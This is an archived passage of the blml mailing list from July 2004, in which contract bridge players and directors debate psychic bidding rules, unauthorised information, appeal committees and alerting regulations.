------=_NextPart_000_0009_01C46CB5.A4AD7CD0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit The WBF Psychic Bidding Guidelines include: "Explicit agreements that psychic calls are expected, or providing systemic protection for them, are classified as Brown Sticker." Is the simple fact that a bid is not forcing sufficient "systemic protection" for it to be classified as Brown Sticker. e.g. 2H* Pass 2S** All pass * Weak hearts and a minor ** natural but not forcing I psyched this 2S recently with five-card heart support. The non-forcing nature of 2S provides systemic protection for a psyche although it is not designed to provide systemic protection for a psyche. However it seems hard to classify this or similar situations as "Brown Sticker" merely because they might at some time be psyched and the nature of the system protects the partnership from damage. Wayne ------=_NextPart_000_0009_01C46CB5.A4AD7CD0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
The WBF=20 Psychic Bidding Guidelines include:
 
"Explicit agreements that psychic = calls are=20 expected, or providing systemic protection for them, are classified as = Brown=20 Sticker."
 
Is the=20 simple fact that a bid is not forcing sufficient "systemic protection" = for it to=20 be classified as Brown Sticker.
 
e.g.
 
2H* =20 Pass  2S** All pass
 
* Weak=20 hearts and a minor
** natural=20 but not forcing
 
I psyched=20 this 2S recently with five-card heart support.
 
The=20 non-forcing nature of 2S provides systemic protection for a psyche = although it=20 is not designed to provide systemic protection for a = psyche.
 
However it=20 seems hard to classify this or similar situations as "Brown Sticker" = merely=20 because they might at some time be psyched and the nature of = the=20 system protects the partnership from damage.
 
Wayne
------=_NextPart_000_0009_01C46CB5.A4AD7CD0-- From wayne.burrows@xtra.co.nz Sun Jul 18 02:15:51 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 18 Jul 2004 13:15:51 +1200 Subject: [blml] Moderator Approval Message-ID: <001701c46c64$c444d030$0401010a@Desktop> This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C46CC9.5979B030 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Do all messages go through this process? If not are there tips to avoid this problem? TIA Wayne ------=_NextPart_000_0018_01C46CC9.5979B030 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Do all=20 messages go through this process?
 
If not are=20 there tips to avoid this problem?
 
TIA
 
Wayne
------=_NextPart_000_0018_01C46CC9.5979B030-- From richard.hills@immi.gov.au Mon Jul 19 23:19:44 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 08:19:44 +1000 Subject: [blml] A player's view Message-ID: Marvin French: [snip] >L16B says that sight of an opponent's >card(s) before the auction begins is UI >and the TD should be called. I do not see >why that should not hold true for the >entire deal. That's the way it was before >1987, and it should not have been >changed. [snip] Richard Hills: In my opinion, Marv has misinterpreted the 1975 version of the Laws of Duplicate Contract Bridge. In 1975, the Proprieties contained a similar bracketed statement to what they do today. In 1975, the wording of the bracketed statement was, "(but it is not improper to act on information acquired by inadvertently seeing an opponent's card)". Marv is technically correct in stating that Law 16B was written differently in 1975. However, Marv has overlooked that the Laws (sensibly) included definitional lists of unauthorised information in Law 16A in 1975. The 1975 version of Law 16A1 lists the definitions of "Accidental Unauthorised Information". The final phrase in that listing is, "or by seeing a card belonging to another player at one's own table before the auction begins." Therefore, by using the logic of "post hoc ergo propter hoc", it seems to me that in 1975 (as today), accidentally seeing a card which belongs to an opponent *after* the auction begins was (and remains) authorised information. The WBF LC Drafting Sub-Committee has (sensibly) revisited the idea of including definitional listings of unauthorised information in the 2006 Laws. However, the ACBL LC has so far (foolishly) rejected this concept due to a (paranoid) fear that the WBF LC Drafting Sub- Committee will (incompetently) leave a significant loophole in the listing, which will leave a loophole allowing villains to cheat. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 20 00:19:16 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 09:19:16 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Grattan Endicott: [snip] >The AC named is a very strong one - quality >players and a very experienced chairman who is >currently a member of the EBU Laws & Ethics >Committee. The case apparently did not evoke >additional comment from the L&E - may have been >removed from those going to the L&E by the >filtering panel (at present Fleet, Barnfield, >Stevenson). The current batch of appeals going >to the July 2004 meeting of the L&E - being those >on which one or more filterers commented [snip] Richard Hills: In a private email, I commented directly to filterer David Stevenson, ".....it still leaves unresolved whether an "undiscussed" call (with no explicit or implicit partnership agreement) should be alertable. I am somewhat disappointed that the EBU Laws & Ethics Committee failed to clarify this issue." Furthermore, three commentators on the forthcoming 2003 EBU casebook joined me in criticising the reasoning of the "very strong" AC. While a fourth commentator charitably assumed that the "very strong" AC had miswritten their reasoning, and the "very strong" AC had really meant to rule that East-West held an implicit agreement. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 20 01:45:39 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 10:45:39 +1000 Subject: [blml] AC performance (was Reno ... four) Message-ID: Jim Hudson: >This is hardly an "axiom." The rate of TD >errors in cases brought to appeal depends on >many factors. Especially important is the cost >to the appellants of losing the appeal. If >this is low there will be many frivolous >appeals, Richard Hills: Disagree. In my opinion, it is not the cost, but rather the cost-benefit ratio, which determines the number of frivolous appeals. Real-life example -> Capital punishment does not deter crimes. Indeed, in the eighteenth century when pickpocketing was punishable by death, many pickpockets would ply their trade when crowds gathered at public executions. Jim Hudson: >and so the TDs will probably in fact have ruled >correctly in a great majority of the cases >appealed. If it is high, appeals will occur >only when the appellants are pretty sure of >winning, Richard Hills: But many appellants are not well versed in the Laws, so therefore have an erroneous perception about their chances of winning. In my opinion, there is only a slight correlation between a TD error and the likelihood of an appeal. In my opinion, many erroneous TD rulings are not appealed because the damaged side does not want to be bothered with the hassle that appealing involves. Jim Hudson: >and so the TDs will be reversed by the ACs in >a large proportion of the (much smaller number >of) cases appealed. Richard Hills: Yes and no. A significant reason for reversals of TDs decisions by ACs used to be on judgement grounds, typically Law 16 assessment of logical alternatives. However, best practice for TDs now is that they consult with peers before making such assessments. (There are still a few ACs reversals of TDs when the TDs have ignored best practice, either not consulting or insufficiently consulting.) In my opinion, the three significant remaining reasons that an AC now reverses a best-practice TD are: (a) a determination of a different set of facts to the TD (due to extra time available for AC interrogation of the parties), or (b) a correction of a blind spot in the logic of the TD (for example, in the forthcoming 2003 WBU casebook, a Referee corrected a TD's Monty Hall trap), or (c) an incompetent AC reversing a best-practice TD for no good reason. It is because of (c) that the ACBL LC has opted to recommend that ACs be abolished or downgraded in the 2006 Laws. Furthermore, as an anti-(c) measure, the WBF has adopted this clause in its Code of Practice: >>The expectation is that each appeal committee >>will presume initially that the Director's >>ruling is correct. The ruling is overturned >>only on the basis of evidence presented. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 20 02:24:02 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 11:24:02 +1000 Subject: [blml] A player's view Message-ID: Konrad Ciborowski: [snip] >We are just one step from making a law >saying that an ethical player who gets "an >undeserved windfall" (e.g. his opponents >have a bidding misunderstanding and end up >in a grand slam without 3 aces and a king >of trumps) should call the TD and ask him >to adjust the score "to protect the field". Richard Hills: In my opinion, Konrad is too optimistic. The ACBL LC has *already* endorsed the concept of Reveley rulings to "protect the field" from "undeserved windfalls". The ACBL LC endorsement of Reveley rulings is based upon the following assumptions: (a) Almost all ACBL players ignore the "carefully avoid taking any advantage" Law 73C, and (b) The non-offending side should not gain any benefit when one opponent is required by Law 73C to choose an unsuccessful LA after UI from the other opponent, because (c) Windfalls from non-bridge actions by the opponents should be avoided to protect the field, so (d) Those few ethical ACBL players who consistently obey Law 73C are naughty windfallers who ruin the field, and therefore deserve to be smacked with a PP for their offence. Note: David Stevenson has explained that a Law 90 offence does not have to be an infraction, but can be anything that a TD deems obstructs the game or inconveniences other contestants. Daring to uphold Law 73C, thus obstructing the game with a windfall, which inconveniences other contestants in the field by failing to protect their chances of victory, is obviously an offence. Best irony RJH From richard.hills@immi.gov.au Tue Jul 20 02:39:51 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 11:39:51 +1000 Subject: [blml] Defenders' rights Message-ID: Ton Kooijman: >Good questions Francis, did you talk to Patrick >Jourdain lately? > >I did in Malmo and we discussed the idea to make >it explicitly legal to allow a defender to prevent >his partner from making an infraction. He >suggested to extend this right for a player to any >other player at the table. > >We might need to cover the possibility of UI >arising, but I am starting to like this idea. > >Any objections? Richard Hills: I also like this idea, especially the extension which permits a player to stop an opponent from committing an irregularity. In an earlier thread, I related my habit of (as declarer) preventing an opponent from perpetrating an opening lead out of turn. After some discussion on blml, I came to the conclusion that my proactive habit is technically illegal under the 1987 Laws. (But I will sinfully continue to help my opponents in that way.) Another technically illegal habit I sometimes use when competing against bunnies, is that when a bunny turns the trick the wrong way during play, I turn it correctly immediately, rather than leave them misled as to the number of tricks that they have taken until the end of play of the deal. (However, I carefully assess the personality of the bunny opponent, in order to ensure that my assistance will be interpreted as sportsmanlike, not misinterpreted as a patronising distraction.) Best wishes RJH From richard.hills@immi.gov.au Tue Jul 20 02:52:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 11:52:08 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Nigel Guthrie: >Frances is right. Clearly, the law >should put the onus on disclosure >rather than protecting yourself from >secretive opposition. [snip] Richard Hills: I wholeheartedly agree with Nigel. In my opinion, the best part of the 2004 revision of the ABF Alert Regulation, was the greater emphasis that it placed upon the Pre-Alert requirements for unusual agreements. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 20 03:04:15 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 12:04:15 +1000 Subject: [blml] A player's view Message-ID: John (MadDog) Probst: [big snip] >If my opponent shows me his cards, I'm going to look. Richard Hills: A legal action pursuant to the bracketed exception in Law 81C5. However, I would choose the equally legal action of averting my gaze. John (MadDog Probst: >If my opponent is devious I'll assume he's hidden his >Queen :) Richard Hills: I would apply the emoticon of :-( not :-) to a devious opponent. Deviousness of that type is directly contrary to the Law 81C5 footnote, "See Law 73D2 when a player may have shown his cards intentionally." Law 73D2: >>A player may not attempt to mislead an opponent by >>means of remark or gesture, through the haste or >>hesitancy of a call or play (as in hesitating before >>playing a singleton), or by the manner in which the >>call or play is made. Best wishes RJH From john@asimere.com Tue Jul 20 04:20:09 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 20 Jul 2004 04:20:09 +0100 Subject: [blml] Psychic Bidding Guidelines In-Reply-To: <000801c46c51$0f7652e0$0401010a@Desktop> References: <000801c46c51$0f7652e0$0401010a@Desktop> Message-ID: In article <000801c46c51$0f7652e0$0401010a@Desktop>, Wayne Burrows writes > The WBF Psychic Bidding Guidelines include: > =A0 > "Explicit agreements that psychic calls are expected, or providing=20 > systemic protection for them, are classified as Brown Sticker." > =A0 > Is the simple fact that a bid is not forcing sufficient "systemic=20 > protection" for it to be classified as Brown Sticker. > =A0 > e.g. > =A0 > 2H*=A0 Pass=A0 2S**=A0All pass > =A0 > * Weak hearts and a minor > ** natural but not forcing > =A0 > I psyched this 2S recently with five-card heart support. wtp, 1NT on a 2515 yarborough allows for psychic control too :) I still find new sequences, even today. Try a 2164 5-count that you've opened 1H, partner responds 2C. It's "obvious" to reverse into 2S isn't it? cheers john > =A0 > The non-forcing nature of 2S provides systemic protection for a=20 > psyche although it is not designed to provide systemic protection=20 > for a psyche. > =A0 > However it seems hard to classify this or similar situations as=20 > "Brown Sticker" merely because they=A0might at some time=A0be psyche= d=20 > and the nature of the system protects the partnership from damage. > =A0 > Wayne --=20 John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Tue Jul 20 04:27:23 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 13:27:23 +1000 Subject: [blml] Re: AC performance (was Reno ... four) Message-ID: Richard Hills: [snip] >>(c) an incompetent AC reversing a best-practice >>TD for no good reason. >> >>It is because of (c) that the ACBL LC has opted >>to recommend that ACs be abolished or downgraded >>in the 2006 Laws. [snip] Adam Wildavsky: >This is news to me. Where and when did they do so? http://web2.acbl.org//lawscommission/houston02.htm ACBL LC minutes, Houston, 9th March 2002: [snip] "d. It was suggested that all if not most laws concerning administration after the fact (e.g., {My emphasis - RJH} -> **appeals)** <- should be re-written to give the sponsoring organization or the ZO increased options. Specifics should be matters of Conditions of Contest rather than law." Best wishes Richard Hills From richard.hills@immi.gov.au Tue Jul 20 04:55:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 13:55:13 +1000 Subject: [blml] Undiscussed alerts & anti-systemic alerts Message-ID: Nigel Guthrie: [snip] >IMO, for legal purposes, convention-cards, >system notes and system-books, should be the >prime sources in determining agreements. Richard Hills: I partially disagree. Some time ago, I had a somewhat heated debate with Sven on this issue. The point I made then, and the point I make now, is that (in my experience) you quite often find a super-scientific partner linked to a palaeolithic CHO. The super-scientist writes reams of system notes which the CHO either does not read, or (more usually) does not comprehend. My opinion is that if one partner inflicts a convention on their CHO which the CHO does not understand, then that non-understood convention is *not* an agreement of that partnership. I speak from bitter experience, since I have inflicted my super-scientific Symmetric Relay system upon a series of palaeolithic CHOs. Eventually I wised up, so I now play Stone Age Symmetric Relay, with every non-essential convention deleted. :-) Best wishes RJH From nigel.guthrie@ntlworld.com Tue Jul 20 05:50:28 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 20 Jul 2004 05:50:28 +0100 Subject: [blml] How played is declarer's exposed card? References: <001701c46094$0c050b60$6250fd3e@jeushtlj><000001c460ef$8a2f6a70$0200a8c0@Zog> <001601c462c7$d8adcfa0$e59868d5@jeushtlj> Message-ID: <003001c46e15$14d21f60$179868d5@jeushtlj> [WILLIAM SCHODER] > If that is the way you wish to > categorize the usage of "interpretation" > and a TDs job, so be it. However, I think > you are blowing smoke up somewhere. It > is, to me, a most juvenile precept to > think that the Laws will apply equally > throughout the realm in which bridge is > played. [Nigel] Suppose nobody disputes the facts: Declarer removes a card from his hand, transfers it to the table and returns it back to his hand, in one smooth uninterrupted movement. Instantaneously, it touches the surface of the table, face-up and recognizable to both opponents. All agree these simple facts. Declarer does not want to play the card. Defenders call the director claiming that the card is played. If the TD is sure what the words of the law mean, must he still consult other TDs? Suppose the TD does consult with colleagues who, like BLML, are split about 50-50 as to whether the law says the card is played. Presumably you consult further until a majority interpretation of the law emerges? Is the decision about the law recorded anywhere to avoid all this palaver again? at least for this particular competition and locality? Presumably the decision may not be appealed because it is a pure matter of law? Although a different decision may well be reached, at another time, elsewhere, on an identical statement of facts. Smoke gets in your eyes... --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.725 / Virus Database: 480 - Release Date: 19-Jul-04 From richard.hills@immi.gov.au Tue Jul 20 05:54:49 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 14:54:49 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Grattan Endicott: >>E-W could have different ideas and still be found to have an >>agreement. Ed Reppert: >I accept that this is so, but my poor brain cannot divine the >logic behind it. Can you enlighten me? Richard Hills: I wish to impose a subtle Kaplanic distinction upon the Grattanic statement. In my opinion, chronology is the key to parsing Grattan's logic a la Kaplan. E-W might have different ideas *now*, but *previously* they might have reached a meeting of minds upon an implicit partnership agreement. If so, East merely forgot their implicit partnership agreement, and consequently provided MI. I had no quarrel with the AC decision, merely with the way the AC wrote its reasoning. The AC actually wrote: "We accepted that E/W had different ideas of what 1NT was but they had played together for some time and their failure to be able to explain damaged N/S and made it much more difficult to bid to 4H." In my opinion, the AC should have written: "Because E-W had played together for some time, we deem (under the balance of probabilities rule in Law 85A) that East-West had an implicit agreement which East temporarily forgot." Of course, the disadvantage of such a legal ruling is that it would deem East and West to be liars. The actual AC ruling, that E-W should have an agreement, neatly side-stepped hurting the feelings of E-W, with only the minor consequence of being totally unLawful. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 20 06:20:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 15:20:52 +1000 Subject: [blml] Psychic Bidding Guidelines Message-ID: John (MadDog) Probst: >I still find new sequences, even today. Try a 2164 >5-count that you've opened 1H, partner responds >2C. It's "obvious" to reverse into 2S isn't it? Richard Hills: Brilliant! Pard will often try fourth-suit-forcing with 3D, you now pass, and all three opponents now have to guess what to do at the three-level. For the first time in many years, a new book has been published which deals exclusively with the art of psychic bidding. David Bird reviewed the book at URL: http://www.bridge-plus.co.uk/reviews/review104.htm >>The Art of Psychic Bidding (and its Pitfalls) >>by Julian Pottage and Peter Burrows >> >>BT Batsford, =A310.99, ISBN 0 7134 8881 6 [big snip] >>The book then ends somewhat as it began with some >>rather wordy general advice on tactics in IMPs/ >>Pairs/Swiss matches, when you should psyche, and >>the ethical side of psyching. Taken as a whole, >>the book is an entertaining and informative read. >>It is a scholarly work, very well written and with >>plenty of great deals. The authors can be well >>pleased with their end product. >> >>Copyright Bridge Plus 1999-2004 Best wishes RJH= From richard.hills@immi.gov.au Tue Jul 20 06:42:02 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 20 Jul 2004 15:42:02 +1000 Subject: [blml] Kibitzercide Message-ID: In the thread "How played is.....", Nigel Guthrie asked: >Is the decision about the law recorded >anywhere to avoid all this palaver >again? at least for this particular >competition and locality? Richard Hills replies: Yes. For example, let us examine Law 76A4, "A spectator must not in any way disturb a player." The ACBL had (and may still have) a regulation which permits a player to request the TD to eject one, but only one, kibitzer without giving any reason. However, when Law 76A4 was considered by the Australian National Authority, it ruled that a kibitzer's mere presence may disturb a player. Therefore, in Australia, a player may request the TD to eject each and every kibitzer without giving any reason. The minutes of the Australian National Authority are freely available on the ABF website, and are also available in the blml archive. The different approaches of the ACBL and Australia to kibitzercide may be partly due to cultural norms. In the ACBL, it is quite likely that there will be people who want to kibitz World Champs. But in Australia, there are no World Champs available for decent kibitzing. Best wishes RJH From gesta@tiscali.co.uk Tue Jul 20 07:35:39 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 20 Jul 2004 07:35:39 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6D@lonsc-s-031.europe.shell.com> <002701c46dc4$e5cf4440$989868d5@jeushtlj> Message-ID: <005a01c46e25$596fc900$4d02e150@multivisionoem> Grattan Endicott To: "BLML" Sent: Monday, July 19, 2004 8:16 PM Subject: Re: [blml] 2003 EBU casebook, appeal 4 > [Frances Hinden] > > It is quite reasonable, IMO, to assume > > [1N is] natural when it isn't alerted, > > and South has no obligation to ask "to > > protect himself". > > [Nigel] > Frances is right. Clearly, the law > should put the onus on disclosure > rather that protecting yourself from > secretive opposition. > > Currently some jurisdictions seem to > expect players to steer between... > ... the Scylla of "protecting themselves" > with questions which are likely to help > only opponents and... > ... the Charybdis of not appearing to act > on UI from partner's spurious questions). > +=+ Increasingly I find words in Conditions of Contest referring to a level of self-protection required. Over the years in high level appeals committees I have experienced discussions on not yielding to applications for redress when, even though there is a technical omission by opponent, the appellant is believed to have been well aware of what he had not been told. The style/extent of disclosure required is set by the SO in regulation (Law 40B). I have listened to much discussion, too, on steering between the whirlpool and the sea monster.. ~ Grattan ~ +=+ From henk@ripe.net Tue Jul 20 09:14:48 2004 From: henk@ripe.net (Henk Uijterwaal (RIPE NCC)) Date: Tue, 20 Jul 2004 10:14:48 +0200 (CEST) Subject: [blml] Moderator Approval In-Reply-To: <001701c46c64$c444d030$0401010a@Desktop> References: <001701c46c64$c444d030$0401010a@Desktop> Message-ID: On Sun, 18 Jul 2004, Wayne Burrows wrote: > Do all messages go through this process? No. > If not are there tips to avoid this problem? Switch off HTML posting. Henk > > TIA > > Wayne > ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal(at)ripe.net RIPE Network Coordination Centre http://www.amsterdamned.org/~henk P.O.Box 10096 Singel 258 Phone: +31.20.5354414 1001 EB Amsterdam 1016 AB Amsterdam Fax: +31.20.5354445 The Netherlands The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ Process and Procedure are the last hiding place of people without the wit and wisdom to do their job properly. (David Brent). From nigel.guthrie@ntlworld.com Tue Jul 20 12:15:01 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 20 Jul 2004 12:15:01 +0100 Subject: [blml] Kibitzercide References: Message-ID: <000901c46e4a$cd869100$099468d5@jeushtlj> [Richard James Hills] However, when Law 76A4 was considered by the Australian National Authority, it ruled that a kibitzer's mere presence may disturb a player. Therefore, in Australia, a player may request the TD to eject each and every kibitzer without giving any reason. [Nigel] Kibitzers, especially partisan kibitzers can irritate by their very presence; but IMO, a player should have no right to eject a kibitzer. Only the TD should have the discretion to do so. IMO, kibitzers could have an important role in providing evidence about alleged infractions; and, especially, in reporting cheats. Currently, this role hangs on the semantics of a comma in the notorious "eats, shoots and leaves" law 76B. As David Burn points out, the popular interpretation of this comma would render illegal the whole farrago of the Buenos Aires cheating allegations. The new version of the laws should at least clarify this "point". --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.725 / Virus Database: 480 - Release Date: 19-Jul-04 From ehaa@starpower.net Tue Jul 20 14:25:53 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 20 Jul 2004 09:25:53 -0400 Subject: [blml] A player's view In-Reply-To: References: Message-ID: <6.1.1.1.0.20040720091937.02a31530@pop.starpower.net> At 07:11 PM 7/16/04, richard.hills wrote: >In my opinion, this competitive advantage to >tall bridge players is undesirable. I do not >believe that as things have been, things should >remain. > >Rather, I suggest that in the 2006 edition of the >Laws, the bracketed part of Law 74C5 should be >abolished, and replace with a clause along these >lines: > >"If an opponent inadvertently sloppily holds their >cards so that a player might see one or more cards, >then that player must: > >(a) carefully avert their gaze, and >(b) advise the opponent that the opponent might >want to hold their cards in a less visible fashion. > >If a player inadvertently sees an opponent's >sloppily held card (or cards), the information from >seeing that card is unauthorised information, with >the consequence that that player may not take an >anti-percentage line of play based upon seeing that >card (or cards). > >If the Director determines that a player has taken a >successful anti-percentage line of play, and if the >Director determines that that player could have seen >an opponent's non-tabled card as the basis for that >anti-percentage line of play, then the Director may >award an adjusted score." Interesting suggestion, but IMO Richard should have written "might have" rather than "could have". "Could have" applies equally to the player who carefully averts their gaze while advising the opponent to hold their cards back and to the player who deliberately peeks -- both "could have" seen the card (had they tried to), notwithstanding that only the latter "might have" actually done so. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Tue Jul 20 15:06:14 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 20 Jul 2004 10:06:14 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <26A8F3BE-D99E-11D8-A6AF-0003936A6522@gordonrainsford.co.uk > References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6D@lonsc-s-031.europe.shell.com> <005801c46d93$b9d79530$6402a8c0@yourhpbmye9tmb> <000601c46da5$727c59c0$168387d9@4nrw70j> <26A8F3BE-D99E-11D8-A6AF-0003936A6522@gordonrainsford.co.uk> Message-ID: <6.1.1.1.0.20040720100242.02be7a60@pop.starpower.net> At 12:10 PM 7/19/04, Gordon wrote: >On 19 Jul 2004, at 16:27, grandeval wrote: >> >>> >>>Outside the UK, at least in a lot of countries where I have some >>experience, >>>I will never assume anything about the meaning of 1NT. Often it is a >>>twosuiter, another frequent treatment is 4S with longer C, and yes some >>play >>>it as natural. I do as well by the way. >>> >>>Jaap >>+=+ In my younger days - 1950's/60s - it was commonly >>not natural in the UK +=+ > >When I learned bridge for the first time, in the mid 70s, that was how >I was taught the Unusual No Trump - a jump to 2NT, or an overcall of >1NT when both opponents have bid. > >More recently I've heard (and read) discussions about the merits of >returning to playing it as natural, in the light of the fact that >openers and responders both tend to bid on less, and so the >possibility of game remains in spite of both opponents having bid. > >That these discussions happened at all, suggests at least a >significant number of players had been treating it as unusual. FWIW, in the ACBL, 1NT showing the unbid suits in this position is fairly common, but definitely alertable. (Not that that would affect the thread case.) Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From Chris@Pisarra.com Tue Jul 20 15:31:24 2004 From: Chris@Pisarra.com (Chris Pisarra) Date: Tue, 20 Jul 2004 07:31:24 -0700 Subject: [blml] Psychic Bidding Guidelines References: Message-ID: <022401c46e66$3c916e60$1401a8c0@COMPUTER> Richard Hills wrote: > For the first time in many years, a new book has > been published which deals exclusively with the art > of psychic bidding. If you and your partner both, independently, choose to read this book, does that create any implicit agreements about psyching? If you and your partner both, by agreement, choose to read this book, does **that** create any implicit agreements about psyching? If the ACBL could ban and burn this book, they probably would. Darn it. Chris From richard_willey@hotmail.com Tue Jul 20 15:56:06 2004 From: richard_willey@hotmail.com (richard willey) Date: Tue, 20 Jul 2004 14:56:06 +0000 Subject: [blml] Psychic Bidding Guidelines Message-ID: “Psyches” are undoubtedly one of the more controversial subjects in bridge. >From my own perspective, all of the controversy is rooted in a very simple observation: The entire concept of a “psyche” is conceptually flawed. So long as organizations persist in trying to base regulations on a flawed premise, they can’t help BUT create complex and inconsistent rulings. Game theorists have long recognized the existence of so-called “mixed” strategies that deliberately incorporate randomization into the strategy space. As an example, lets consider a very simple game like “Matching Pennies”. Two players (A + are each handed a coin. Each player will secretly determine whether to expose the coin as “Heads” or “Tails”. The coins are simultaneously exposed. If the two coins match (both coins are heads or both coins are tails, then player A will keep both coins. If the two coins don’t match, then player B will keep both coins). Playing this simple game, the equilibrium strategy is for both players to randomly select whether they are going to play Heads or Tails, with a 50-50 weighting. [The “equilibrium” is the combination of strategies where neither player has an incentive to change their behavior. For example, suppose that Player A chooses a strategy in which he always chooses to player “Heads”. In this case, player B would always want to play “Tails”. However, if Player B adopted a strategy of always playing Tails, then player A would want to change his strategy to always play Tails. The mixed strategy using precisely 50-50 weighting is the only equilibrium strategy to this game.] If anyone is still bothering to read this post, “Matching Pennies” is important because it illustrates a system in which the only stable solution involves deliberate randomization. In a similar fashion, many players argue that optimal strategies in bridge often require deliberate randomization as well. There are a wide number of well-known examples of positions that require “random” carding or mandatory false-cards. Equally significant, many players believe that certain positional bidding situations also require some type of randomization. For example, suppose that I am playing IMPS and sitting white-on-red holding S 42 H K D KQT8754 C T52 Partner and RHO have just passed. I argue that the “optimal” strategy is to open 1NT 25% of the time 3D 10% of the time 4D 50% of the time 5D 15% of the time I’m not so much worried about the actual percentages, but rather the “core” premise. Behaving deterministically and always bidding 4D or always bidding 3D is not likely to be an optimal strategy. For that matter, I'm pretty firmly convinced that alwyas bididng 1NT will this hand is equally likely to be flawed. >From my perspective, so-called “Psyches” are actually examples in which players are subconsciously adopting mixed strategies in their bidding. I doubt that many of the players can consciously articulate the principles involved let alone precisely characterize the precise percentages that they assign to different branches in their bidding tree. “Game Theory” didn’t even exist as a formal discipline when the expression “Psyche” was coined, so its not too surprising that early regulations didn’t take this notion into account. With this said and done, this model does describe observed behavior and offers a superior basis for creating appropriate regulations. _________________________________________________________________ Planning a family vacation? Check out the MSN Family Travel guide! http://dollar.msn.com From blml@wrightnet.demon.co.uk Tue Jul 20 20:45:41 2004 From: blml@wrightnet.demon.co.uk (Steve Wright) Date: Tue, 20 Jul 2004 20:45:41 +0100 Subject: [blml] Defenders' rights In-Reply-To: References: Message-ID: <5R9VwTGlZX$AFwVb@wrightnet.demon.co.uk> In message , richard.hills@immi.gov.au writes >Another technically illegal habit I sometimes use >when competing against bunnies, is that when a bunny >turns the trick the wrong way during play, I turn it >correctly immediately, rather than leave them misled >as to the number of tricks that they have taken >until the end of play of the deal. (However, I >carefully assess the personality of the bunny >opponent, in order to ensure that my assistance will >be interpreted as sportsmanlike, not misinterpreted >as a patronising distraction.) I usually get round the "technically illegal" bit by asking "Who won that trick? We all seem to be claiming it. I wouldn't like somebody to lead out of turn because they had mistakenly thought they had taken the trick." -- Steve Wright Leicester, England From ehaa@starpower.net Tue Jul 20 21:17:34 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 20 Jul 2004 16:17:34 -0400 Subject: [blml] Psychic Bidding Guidelines In-Reply-To: <022401c46e66$3c916e60$1401a8c0@COMPUTER> References: <022401c46e66$3c916e60$1401a8c0@COMPUTER> Message-ID: <6.1.1.1.0.20040720160906.02a504d0@pop.starpower.net> At 10:31 AM 7/20/04, Chris wrote: >Richard Hills wrote: > > > For the first time in many years, a new book has > > been published which deals exclusively with the art > > of psychic bidding. > > If you and your partner both, independently, choose to > read this >book, does that create any implicit agreements about psyching? > > If you and your partner both, by agreement, choose to > read this >book, does **that** create any implicit agreements about psyching? > > If the ACBL could ban and burn this book, they probably > would. >Darn it. I notice that the ACBL Bulletin has not, as one might expect, published a review (or any mention whatsoever) of it, although they routinely review any new bridge book of note. I'm not holding my breath waiting for them to review this one, though. As I read the ACBL's current policy on psyching, it would be prima facie illegal for any partnership both of whom have read the book to psych, unless they could show that neither of them knew that the other had read it, in which case *a* psych would be legal, but only the if it was the partnership's first one ever. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From gesta@tiscali.co.uk Tue Jul 20 21:01:03 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 